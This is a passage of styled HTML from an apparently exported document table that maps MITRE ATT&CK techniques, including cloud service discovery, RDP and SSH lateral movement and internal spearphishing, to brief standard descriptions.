class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1024947786" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{31}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">An adversary may </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">attempt</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="28" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="338949333" paraeid="{4beea17d-8687-4a1c-92f8-0d1c06837351}{135}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1263354945" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{44}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1526 Cloud Service Discovery</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1849704272" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{51}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">An adversary may </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">attempt</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> to enumerate the cloud services running on a system after gaining access.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="29" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1792929250" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{59}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Lateral Movement (TA0008)&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1593566911" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{66}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1021.001 Remote Services: Remote Desktop Protocol</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="13632802" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{73}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="30" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1223784836" paraeid="{7e6467ea-850a-49b8-b926-48e26d13db63}{80}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="811070853" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{82}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1534 Internal </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Spearphishing</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="963823854" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{89}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">After they already have access to accounts or systems within the environment, adversaries may use internal </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">spearphishing</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> to gain access to </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">additional</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> information or </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">compromise</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> other users within the same organization.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="31" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1558902883" paraeid="{1f5e5ba0-5ea0-435c-913e-8da2c75434e1}{253}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="542232624" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{102}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1021.004 Remote Services: SSH</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="2108461794" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{109}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use Valid Accounts to log into remote machines using SSH. The adversary may then perform actions as the logged-on user.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="32" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1098631068" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{117}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 